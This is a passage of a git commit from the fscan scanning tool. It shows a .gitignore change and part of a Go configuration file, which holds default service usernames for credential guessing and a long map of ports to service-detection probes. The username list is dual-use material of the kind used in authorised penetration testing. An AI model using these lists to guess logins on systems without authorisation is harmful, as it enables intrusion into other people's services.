mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-05-05 10:17:49 +00:00
commit
42f8052b96
4
.gitignore
vendored
4
.gitignore
vendored
@ -1 +1,5 @@
|
||||
result.txt
|
||||
main
|
||||
.idea
|
||||
fscan.exe
|
||||
fscan
|
||||
|
952
Common/Config.go
Normal file
952
Common/Config.go
Normal file
@ -0,0 +1,952 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"github.com/schollz/progressbar/v3"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var version = "2.0.0"
|
||||
var Userdict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||
"telnet": {"root", "admin", "test"},
|
||||
"elastic": {"elastic", "admin", "kibana"},
|
||||
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
|
||||
"kafka": {"admin", "kafka", "root", "test"},
|
||||
"activemq": {"admin", "root", "activemq", "system", "user"},
|
||||
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
|
||||
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
|
||||
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
|
||||
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
|
||||
"zabbix": {"Admin", "admin", "guest", "user"},
|
||||
"rsync": {"rsync", "root", "admin", "backup"},
|
||||
"cassandra": {"cassandra", "admin", "root", "system"},
|
||||
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||
}
|
||||
|
||||
var DefaultMap = []string{
|
||||
"GenericLines",
|
||||
"GetRequest",
|
||||
"TLSSessionReq",
|
||||
"SSLSessionReq",
|
||||
"ms-sql-s",
|
||||
"JavaRMI",
|
||||
"LDAPSearchReq",
|
||||
"LDAPBindReq",
|
||||
"oracle-tns",
|
||||
"Socks5",
|
||||
}
|
||||
|
||||
var PortMap = map[int][]string{
|
||||
1: {"GetRequest", "Help"},
|
||||
7: {"Help"},
|
||||
21: {"GenericLines", "Help"},
|
||||
23: {"GenericLines", "tn3270"},
|
||||
25: {"Hello", "Help"},
|
||||
35: {"GenericLines"},
|
||||
42: {"SMBProgNeg"},
|
||||
43: {"GenericLines"},
|
||||
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
70: {"GetRequest"},
|
||||
79: {"GenericLines", "GetRequest", "Help"},
|
||||
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||
98: {"GenericLines"},
|
||||
110: {"GenericLines"},
|
||||
111: {"RPCCheck"},
|
||||
113: {"GenericLines", "GetRequest", "Help"},
|
||||
119: {"GenericLines", "Help"},
|
||||
130: {"NotesRPC"},
|
||||
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||
139: {"GetRequest", "SMBProgNeg"},
|
||||
143: {"GetRequest"},
|
||||
175: {"NJE"},
|
||||
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||
214: {"GenericLines"},
|
||||
256: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
257: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
261: {"SSLSessionReq"},
|
||||
264: {"GenericLines"},
|
||||
271: {"SSLSessionReq"},
|
||||
280: {"GetRequest"},
|
||||
322: {"RTSPRequest", "SSLSessionReq"},
|
||||
324: {"SSLSessionReq"},
|
||||
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
390: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
406: {"SIPOptions"},
|
||||
427: {"NotesRPC"},
|
||||
443: {"TLSSessionReq", "GetRequest", "HTTPOptions", "SSLSessionReq", "SSLv23SessionReq", "X11Probe", "FourOhFourRequest", "tor-versions", "OpenVPN"},
|
||||
444: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
445: {"SMBProgNeg"},
|
||||
448: {"SSLSessionReq"},
|
||||
449: {"GenericLines"},
|
||||
465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
497: {"GetRequest", "X11Probe"},
|
||||
500: {"OpenVPN"},
|
||||
505: {"GenericLines", "GetRequest"},
|
||||
510: {"GenericLines"},
|
||||
512: {"DNSVersionBindReqTCP"},
|
||||
513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
515: {"GetRequest", "Help", "LPDString", "TerminalServer"},
|
||||
523: {"ibm-db2-das", "ibm-db2"},
|
||||
524: {"NCP"},
|
||||
540: {"GenericLines", "GetRequest"},
|
||||
543: {"DNSVersionBindReqTCP"},
|
||||
544: {"RPCCheck", "DNSVersionBindReqTCP"},
|
||||
548: {"SSLSessionReq", "SSLv23SessionReq", "afp"},
|
||||
554: {"GetRequest", "RTSPRequest"},
|
||||
563: {"SSLSessionReq"},
|
||||
585: {"SSLSessionReq"},
|
||||
587: {"GenericLines", "Hello", "Help"},
|
||||
591: {"GetRequest"},
|
||||
616: {"GenericLines"},
|
||||
620: {"GetRequest"},
|
||||
623: {"tn3270"},
|
||||
628: {"GenericLines", "DNSVersionBindReqTCP"},
|
||||
631: {"GetRequest", "HTTPOptions"},
|
||||
636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"},
|
||||
637: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
641: {"HTTPOptions"},
|
||||
660: {"SMBProgNeg"},
|
||||
666: {"GenericLines", "beast2"},
|
||||
684: {"SSLSessionReq"},
|
||||
706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"},
|
||||
710: {"RPCCheck"},
|
||||
711: {"RPCCheck"},
|
||||
731: {"GenericLines"},
|
||||
771: {"GenericLines"},
|
||||
782: {"GenericLines"},
|
||||
783: {"GetRequest"},
|
||||
853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"},
|
||||
888: {"GetRequest"},
|
||||
898: {"GetRequest"},
|
||||
900: {"GetRequest"},
|
||||
901: {"GetRequest"},
|
||||
989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"},
|
||||
993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
999: {"JavaRMI"},
|
||||
1000: {"GenericLines"},
|
||||
1010: {"GenericLines"},
|
||||
1025: {"SMBProgNeg"},
|
||||
1026: {"GetRequest"},
|
||||
1027: {"SMBProgNeg"},
|
||||
1028: {"TerminalServer"},
|
||||
1029: {"DNSVersionBindReqTCP"},
|
||||
1030: {"JavaRMI"},
|
||||
1031: {"SMBProgNeg"},
|
||||
1035: {"JavaRMI", "oracle-tns"},
|
||||
1040: {"GenericLines"},
|
||||
1041: {"GenericLines"},
|
||||
1042: {"GenericLines", "GetRequest"},
|
||||
1043: {"GenericLines"},
|
||||
1068: {"TerminalServer"},
|
||||
1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"},
|
||||
1090: {"JavaRMI", "Socks5", "Socks4"},
|
||||
1095: {"Socks5", "Socks4"},
|
||||
1098: {"JavaRMI"},
|
||||
1099: {"JavaRMI"},
|
||||
1100: {"JavaRMI", "Socks5", "Socks4"},
|
||||
1101: {"JavaRMI"},
|
||||
1102: {"JavaRMI"},
|
||||
1103: {"JavaRMI"},
|
||||
1105: {"Socks5", "Socks4"},
|
||||
1109: {"Socks5", "Socks4"},
|
||||
1111: {"Help"},
|
||||
1112: {"SMBProgNeg"},
|
||||
1129: {"JavaRMI"},
|
||||
1194: {"OpenVPN"},
|
||||
1199: {"JavaRMI"},
|
||||
1200: {"NCP"},
|
||||
1212: {"GenericLines"},
|
||||
1214: {"GetRequest"},
|
||||
1217: {"NCP"},
|
||||
1220: {"GenericLines", "GetRequest"},
|
||||
1234: {"GetRequest", "JavaRMI"},
|
||||
1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"},
|
||||
1248: {"GenericLines"},
|
||||
1302: {"GenericLines"},
|
||||
1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
1314: {"GetRequest"},
|
||||
1344: {"GetRequest"},
|
||||
1352: {"NotesRPC"},
|
||||
1400: {"GenericLines"},
|
||||
1414: {"ibm-mqseries"},
|
||||
1415: {"ibm-mqseries"},
|
||||
1416: {"ibm-mqseries"},
|
||||
1417: {"ibm-mqseries"},
|
||||
1418: {"ibm-mqseries"},
|
||||
1419: {"ibm-mqseries"},
|
||||
1420: {"ibm-mqseries"},
|
||||
1432: {"GenericLines"},
|
||||
1433: {"ms-sql-s", "RPCCheck"},
|
||||
1440: {"JavaRMI"},
|
||||
1443: {"GetRequest", "SSLSessionReq"},
|
||||
1467: {"GenericLines"},
|
||||
1500: {"Verifier"},
|
||||
1501: {"GenericLines", "VerifierAdvanced"},
|
||||
1503: {"GetRequest", "TerminalServer"},
|
||||
1505: {"GenericLines"},
|
||||
1521: {"oracle-tns"},
|
||||
1522: {"oracle-tns"},
|
||||
1525: {"oracle-tns"},
|
||||
1526: {"oracle-tns", "informix", "drda"},
|
||||
1527: {"drda"},
|
||||
1549: {"WMSRequest"},
|
||||
1550: {"X11Probe"},
|
||||
1574: {"oracle-tns"},
|
||||
1583: {"pervasive-relational", "pervasive-btrieve"},
|
||||
1599: {"LibreOfficeImpressSCPair"},
|
||||
1610: {"GetRequest"},
|
||||
1611: {"GetRequest"},
|
||||
1666: {"GenericLines"},
|
||||
1687: {"GenericLines"},
|
||||
1688: {"GenericLines"},
|
||||
1702: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
1720: {"TerminalServer"},
|
||||
1748: {"oracle-tns"},
|
||||
1754: {"oracle-tns"},
|
||||
1755: {"WMSRequest"},
|
||||
1761: {"LANDesk-RC"},
|
||||
1762: {"LANDesk-RC"},
|
||||
1763: {"LANDesk-RC"},
|
||||
1830: {"GetRequest"},
|
||||
1883: {"mqtt"},
|
||||
1900: {"GetRequest"},
|
||||
1911: {"niagara-fox"},
|
||||
1935: {"TerminalServer"},
|
||||
1962: {"pcworx"},
|
||||
1972: {"NotesRPC"},
|
||||
1981: {"JavaRMI"},
|
||||
2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"},
|
||||
2001: {"GetRequest"},
|
||||
2002: {"GetRequest", "X11Probe"},
|
||||
2010: {"GenericLines"},
|
||||
2023: {"tn3270"},
|
||||
2024: {"GenericLines"},
|
||||
2030: {"GetRequest"},
|
||||
2040: {"TerminalServer"},
|
||||
2049: {"RPCCheck"},
|
||||
2050: {"dominoconsole"},
|
||||
2064: {"GetRequest"},
|
||||
2068: {"DNSVersionBindReqTCP"},
|
||||
2100: {"FourOhFourRequest"},
|
||||
2105: {"DNSVersionBindReqTCP"},
|
||||
2160: {"GetRequest"},
|
||||
2181: {"Memcache"},
|
||||
2199: {"JavaRMI"},
|
||||
2221: {"SSLSessionReq"},
|
||||
2252: {"TLSSessionReq", "SSLSessionReq", "NJE"},
|
||||
2301: {"HTTPOptions"},
|
||||
2306: {"GetRequest"},
|
||||
2323: {"tn3270"},
|
||||
2375: {"docker"},
|
||||
2376: {"SSLSessionReq", "docker"},
|
||||
2379: {"docker"},
|
||||
2380: {"docker"},
|
||||
2396: {"GetRequest"},
|
||||
2401: {"Help"},
|
||||
2443: {"SSLSessionReq"},
|
||||
2481: {"giop"},
|
||||
2482: {"giop"},
|
||||
2525: {"GetRequest"},
|
||||
2600: {"GenericLines"},
|
||||
2627: {"Help"},
|
||||
2701: {"LANDesk-RC"},
|
||||
2715: {"GetRequest"},
|
||||
2809: {"JavaRMI"},
|
||||
2869: {"GetRequest"},
|
||||
2947: {"LPDString"},
|
||||
2967: {"DNSVersionBindReqTCP"},
|
||||
3000: {"GenericLines", "GetRequest", "Help", "NCP"},
|
||||
3001: {"NCP"},
|
||||
3002: {"GetRequest", "NCP"},
|
||||
3003: {"NCP"},
|
||||
3004: {"NCP"},
|
||||
3005: {"GenericLines", "NCP"},
|
||||
3006: {"SMBProgNeg", "NCP"},
|
||||
3025: {"Hello"},
|
||||
3031: {"NCP"},
|
||||
3050: {"firebird"},
|
||||
3052: {"GetRequest", "RTSPRequest"},
|
||||
3127: {"mydoom"},
|
||||
3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"},
|
||||
3129: {"mydoom"},
|
||||
3130: {"mydoom"},
|
||||
3131: {"mydoom"},
|
||||
3132: {"mydoom"},
|
||||
3133: {"mydoom"},
|
||||
3134: {"mydoom"},
|
||||
3135: {"mydoom"},
|
||||
3136: {"mydoom"},
|
||||
3137: {"mydoom"},
|
||||
3138: {"mydoom"},
|
||||
3139: {"mydoom"},
|
||||
3140: {"mydoom"},
|
||||
3141: {"mydoom"},
|
||||
3142: {"mydoom"},
|
||||
3143: {"mydoom"},
|
||||
3144: {"mydoom"},
|
||||
3145: {"mydoom"},
|
||||
3146: {"mydoom"},
|
||||
3147: {"mydoom"},
|
||||
3148: {"mydoom"},
|
||||
3149: {"mydoom"},
|
||||
3150: {"mydoom"},
|
||||
3151: {"mydoom"},
|
||||
3152: {"mydoom"},
|
||||
3153: {"mydoom"},
|
||||
3154: {"mydoom"},
|
||||
3155: {"mydoom"},
|
||||
3156: {"mydoom"},
|
||||
3157: {"mydoom"},
|
||||
3158: {"mydoom"},
|
||||
3159: {"mydoom"},
|
||||
3160: {"mydoom"},
|
||||
3161: {"mydoom"},
|
||||
3162: {"mydoom"},
|
||||
3163: {"mydoom"},
|
||||
3164: {"mydoom"},
|
||||
3165: {"mydoom"},
|
||||
3166: {"mydoom"},
|
||||
3167: {"mydoom"},
|
||||
3168: {"mydoom"},
|
||||
3169: {"mydoom"},
|
||||
3170: {"mydoom"},
|
||||
3171: {"mydoom"},
|
||||
3172: {"mydoom"},
|
||||
3173: {"mydoom"},
|
||||
3174: {"mydoom"},
|
||||
3175: {"mydoom"},
|
||||
3176: {"mydoom"},
|
||||
3177: {"mydoom"},
|
||||
3178: {"mydoom"},
|
||||
3179: {"mydoom"},
|
||||
3180: {"mydoom"},
|
||||
3181: {"mydoom"},
|
||||
3182: {"mydoom"},
|
||||
3183: {"mydoom"},
|
||||
3184: {"mydoom"},
|
||||
3185: {"mydoom"},
|
||||
3186: {"mydoom"},
|
||||
3187: {"mydoom"},
|
||||
3188: {"mydoom"},
|
||||
3189: {"mydoom"},
|
||||
3190: {"mydoom"},
|
||||
3191: {"mydoom"},
|
||||
3192: {"mydoom"},
|
||||
3193: {"mydoom"},
|
||||
3194: {"mydoom"},
|
||||
3195: {"mydoom"},
|
||||
3196: {"mydoom"},
|
||||
3197: {"mydoom"},
|
||||
3198: {"mydoom"},
|
||||
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3269: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3273: {"JavaRMI"},
|
||||
3280: {"GetRequest"},
|
||||
3310: {"GenericLines", "VersionRequest"},
|
||||
3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"},
|
||||
3351: {"pervasive-relational", "pervasive-btrieve"},
|
||||
3372: {"GetRequest", "RTSPRequest"},
|
||||
3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"},
|
||||
3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"},
|
||||
3443: {"GetRequest", "SSLSessionReq"},
|
||||
3493: {"Help"},
|
||||
3531: {"GetRequest"},
|
||||
3632: {"DistCCD"},
|
||||
3689: {"GetRequest"},
|
||||
3790: {"metasploit-msgrpc"},
|
||||
3872: {"GetRequest"},
|
||||
3892: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3900: {"SMBProgNeg", "JavaRMI"},
|
||||
3940: {"GenericLines"},
|
||||
4000: {"GetRequest", "NoMachine"},
|
||||
4035: {"LDAPBindReq", "LDAPBindReq"},
|
||||
4045: {"RPCCheck"},
|
||||
4155: {"GenericLines"},
|
||||
4369: {"epmd"},
|
||||
4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"},
|
||||
4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
|
||||
4533: {"rotctl"},
|
||||
4567: {"GetRequest"},
|
||||
4660: {"GetRequest"},
|
||||
4711: {"GetRequest", "piholeVersion"},
|
||||
4899: {"Radmin"},
|
||||
4911: {"SSLSessionReq", "niagara-fox"},
|
||||
4999: {"RPCCheck"},
|
||||
5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"},
|
||||
5001: {"WMSRequest", "ZendJavaBridge"},
|
||||
5002: {"ZendJavaBridge"},
|
||||
5009: {"SMBProgNeg"},
|
||||
5060: {"GetRequest", "SIPOptions"},
|
||||
5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"},
|
||||
5201: {"iperf3"},
|
||||
5222: {"GetRequest"},
|
||||
5232: {"HTTPOptions"},
|
||||
5269: {"GetRequest"},
|
||||
5280: {"GetRequest"},
|
||||
5302: {"X11Probe"},
|
||||
5323: {"DNSVersionBindReqTCP"},
|
||||
5400: {"GenericLines"},
|
||||
5427: {"GetRequest"},
|
||||
5432: {"GenericLines", "GetRequest", "SMBProgNeg"},
|
||||
5443: {"SSLSessionReq"},
|
||||
5520: {"DNSVersionBindReqTCP", "JavaRMI"},
|
||||
5521: {"JavaRMI"},
|
||||
5530: {"DNSVersionBindReqTCP"},
|
||||
5550: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"},
|
||||
5556: {"DNSVersionBindReqTCP"},
|
||||
5570: {"GenericLines"},
|
||||
5580: {"JavaRMI"},
|
||||
5600: {"SMBProgNeg"},
|
||||
5701: {"hazelcast-http"},
|
||||
5702: {"hazelcast-http"},
|
||||
5703: {"hazelcast-http"},
|
||||
5704: {"hazelcast-http"},
|
||||
5705: {"hazelcast-http"},
|
||||
5706: {"hazelcast-http"},
|
||||
5707: {"hazelcast-http"},
|
||||
5708: {"hazelcast-http"},
|
||||
5709: {"LANDesk-RC", "hazelcast-http"},
|
||||
5800: {"GetRequest"},
|
||||
5801: {"GetRequest"},
|
||||
5802: {"GetRequest"},
|
||||
5803: {"GetRequest"},
|
||||
5868: {"SSLSessionReq"},
|
||||
5900: {"GetRequest"},
|
||||
5985: {"GetRequest"},
|
||||
5986: {"GetRequest", "SSLSessionReq"},
|
||||
5999: {"JavaRMI"},
|
||||
6000: {"HTTPOptions", "X11Probe"},
|
||||
6001: {"X11Probe"},
|
||||
6002: {"X11Probe"},
|
||||
6003: {"X11Probe"},
|
||||
6004: {"X11Probe"},
|
||||
6005: {"X11Probe"},
|
||||
6006: {"X11Probe"},
|
||||
6007: {"X11Probe"},
|
||||
6008: {"X11Probe"},
|
||||
6009: {"X11Probe"},
|
||||
6010: {"X11Probe"},
|
||||
6011: {"X11Probe"},
|
||||
6012: {"X11Probe"},
|
||||
6013: {"X11Probe"},
|
||||
6014: {"X11Probe"},
|
||||
6015: {"X11Probe"},
|
||||
6016: {"X11Probe"},
|
||||
6017: {"X11Probe"},
|
||||
6018: {"X11Probe"},
|
||||
6019: {"X11Probe"},
|
||||
6020: {"X11Probe"},
|
||||
6050: {"DNSStatusRequestTCP"},
|
||||
6060: {"JavaRMI"},
|
||||
6103: {"GetRequest"},
|
||||
6112: {"GenericLines"},
|
||||
6163: {"HELP4STOMP"},
|
||||
6251: {"SSLSessionReq"},
|
||||
6346: {"GetRequest"},
|
||||
6379: {"redis-server"},
|
||||
6432: {"GenericLines"},
|
||||
6443: {"SSLSessionReq"},
|
||||
6543: {"DNSVersionBindReqTCP"},
|
||||
6544: {"GetRequest"},
|
||||
6560: {"Help"},
|
||||
6588: {"Socks5", "Socks4"},
|
||||
6600: {"GetRequest"},
|
||||
6660: {"Socks5", "Socks4"},
|
||||
6661: {"Socks5", "Socks4"},
|
||||
6662: {"Socks5", "Socks4"},
|
||||
6663: {"Socks5", "Socks4"},
|
||||
6664: {"Socks5", "Socks4"},
|
||||
6665: {"Socks5", "Socks4"},
|
||||
6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"},
|
||||
6667: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||
6668: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||
6669: {"GenericLines", "Help", "Socks5", "Socks4"},
|
||||
6670: {"GenericLines", "Help"},
|
||||
6679: {"TLSSessionReq", "SSLSessionReq"},
|
||||
6697: {"TLSSessionReq", "SSLSessionReq"},
|
||||
6699: {"GetRequest"},
|
||||
6715: {"JMON", "JMON"},
|
||||
6789: {"JavaRMI"},
|
||||
6802: {"NCP"},
|
||||
6969: {"GetRequest"},
|
||||
6996: {"JavaRMI"},
|
||||
7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"},
|
||||
7002: {"GetRequest"},
|
||||
7007: {"GetRequest"},
|
||||
7008: {"DNSVersionBindReqTCP"},
|
||||
7070: {"GetRequest", "RTSPRequest"},
|
||||
7100: {"GetRequest", "X11Probe"},
|
||||
7101: {"X11Probe"},
|
||||
7144: {"GenericLines"},
|
||||
7145: {"GenericLines"},
|
||||
7171: {"NotesRPC"},
|
||||
7200: {"GenericLines"},
|
||||
7210: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
7272: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
7402: {"GetRequest"},
|
||||
7443: {"GetRequest", "SSLSessionReq"},
|
||||
7461: {"SMBProgNeg"},
|
||||
7700: {"JavaRMI"},
|
||||
7776: {"GetRequest"},
|
||||
7777: {"X11Probe", "Socks5", "Arucer"},
|
||||
7780: {"GenericLines"},
|
||||
7800: {"JavaRMI"},
|
||||
7801: {"JavaRMI"},
|
||||
7878: {"JavaRMI"},
|
||||
7887: {"xmlsysd"},
|
||||
7890: {"JavaRMI"},
|
||||
8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"},
|
||||
8001: {"GetRequest", "FourOhFourRequest"},
|
||||
8002: {"GetRequest", "FourOhFourRequest"},
|
||||
8003: {"GetRequest", "FourOhFourRequest"},
|
||||
8004: {"GetRequest", "FourOhFourRequest"},
|
||||
8005: {"GetRequest", "FourOhFourRequest"},
|
||||
8006: {"GetRequest", "FourOhFourRequest"},
|
||||
8007: {"GetRequest", "FourOhFourRequest"},
|
||||
8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"},
|
||||
8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"},
|
||||
8010: {"GetRequest", "FourOhFourRequest", "Socks5"},
|
||||
8050: {"JavaRMI"},
|
||||
8051: {"JavaRMI"},
|
||||
8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"},
|
||||
8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"},
|
||||
8082: {"GetRequest", "FourOhFourRequest"},
|
||||
8083: {"GetRequest", "FourOhFourRequest"},
|
||||
8084: {"GetRequest", "FourOhFourRequest"},
|
||||
8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"},
|
||||
8087: {"riak-pbc"},
|
||||
8088: {"GetRequest", "Socks5", "Socks4"},
|
||||
8091: {"JavaRMI"},
|
||||
8118: {"GetRequest"},
|
||||
8138: {"GenericLines"},
|
||||
8181: {"GetRequest", "SSLSessionReq"},
|
||||
8194: {"SSLSessionReq", "SSLv23SessionReq"},
|
||||
8205: {"JavaRMI"},
|
||||
8303: {"JavaRMI"},
|
||||
8307: {"RPCCheck"},
|
||||
8333: {"RPCCheck"},
|
||||
8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"},
|
||||
8530: {"GetRequest"},
|
||||
8531: {"GetRequest", "SSLSessionReq"},
|
||||
8642: {"JavaRMI"},
|
||||
8686: {"JavaRMI"},
|
||||
8701: {"JavaRMI"},
|
||||
8728: {"NotesRPC"},
|
||||
8770: {"apple-iphoto"},
|
||||
8880: {"GetRequest", "FourOhFourRequest"},
|
||||
8881: {"GetRequest", "FourOhFourRequest"},
|
||||
8882: {"GetRequest", "FourOhFourRequest"},
|
||||
8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"},
|
||||
8884: {"GetRequest", "FourOhFourRequest"},
|
||||
8885: {"GetRequest", "FourOhFourRequest"},
|
||||
8886: {"GetRequest", "FourOhFourRequest"},
|
||||
8887: {"GetRequest", "FourOhFourRequest"},
|
||||
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"},
|
||||
8889: {"JavaRMI"},
|
||||
8890: {"JavaRMI"},
|
||||
8901: {"JavaRMI"},
|
||||
8902: {"JavaRMI"},
|
||||
8903: {"JavaRMI"},
|
||||
8999: {"JavaRMI"},
|
||||
9000: {"GenericLines", "GetRequest"},
|
||||
9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"},
|
||||
9002: {"GenericLines", "tor-versions"},
|
||||
9003: {"GenericLines", "JavaRMI"},
|
||||
9004: {"JavaRMI"},
|
||||
9005: {"JavaRMI"},
|
||||
9030: {"GetRequest"},
|
||||
9050: {"GetRequest", "JavaRMI"},
|
||||
9080: {"GetRequest"},
|
||||
9088: {"informix", "drda"},
|
||||
9089: {"informix", "drda"},
|
||||
9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"},
|
||||
9091: {"informix", "drda"},
|
||||
9092: {"informix", "drda"},
|
||||
9093: {"informix", "drda"},
|
||||
9094: {"informix", "drda"},
|
||||
9095: {"informix", "drda"},
|
||||
9096: {"informix", "drda"},
|
||||
9097: {"informix", "drda"},
|
||||
9098: {"informix", "drda"},
|
||||
9099: {"JavaRMI", "informix", "drda"},
|
||||
9100: {"hp-pjl", "informix", "drda"},
|
||||
9101: {"hp-pjl"},
|
||||
9102: {"SMBProgNeg", "hp-pjl"},
|
||||
9103: {"SMBProgNeg", "hp-pjl"},
|
||||
9104: {"hp-pjl"},
|
||||
9105: {"hp-pjl"},
|
||||
9106: {"hp-pjl"},
|
||||
9107: {"hp-pjl"},
|
||||
9300: {"JavaRMI"},
|
||||
9390: {"metasploit-xmlrpc"},
|
||||
9443: {"GetRequest", "SSLSessionReq"},
|
||||
9481: {"Socks5"},
|
||||
9500: {"JavaRMI"},
|
||||
9711: {"JavaRMI"},
|
||||
9761: {"insteonPLM"},
|
||||
9801: {"GenericLines"},
|
||||
9809: {"JavaRMI"},
|
||||
9810: {"JavaRMI"},
|
||||
9811: {"JavaRMI"},
|
||||
9812: {"JavaRMI"},
|
||||
9813: {"JavaRMI"},
|
||||
9814: {"JavaRMI"},
|
||||
9815: {"JavaRMI"},
|
||||
9875: {"JavaRMI"},
|
||||
9910: {"JavaRMI"},
|
||||
9930: {"ibm-db2-das"},
|
||||
9931: {"ibm-db2-das"},
|
||||
9932: {"ibm-db2-das"},
|
||||
9933: {"ibm-db2-das"},
|
||||
9934: {"ibm-db2-das"},
|
||||
9991: {"JavaRMI"},
|
||||
9998: {"teamspeak-tcpquery-ver"},
|
||||
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
10000: {"GetRequest", "HTTPOptions", "RTSPRequest"},
|
||||
10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"},
|
||||
10002: {"ZendJavaBridge", "SharpTV"},
|
||||
10003: {"ZendJavaBridge"},
|
||||
10005: {"GetRequest"},
|
||||
10031: {"HTTPOptions"},
|
||||
10098: {"JavaRMI"},
|
||||
10099: {"JavaRMI"},
|
||||
10162: {"JavaRMI"},
|
||||
10333: {"teamtalk-login"},
|
||||
10443: {"GetRequest", "SSLSessionReq"},
|
||||
10990: {"JavaRMI"},
|
||||
11001: {"JavaRMI"},
|
||||
11099: {"JavaRMI"},
|
||||
11210: {"couchbase-data"},
|
||||
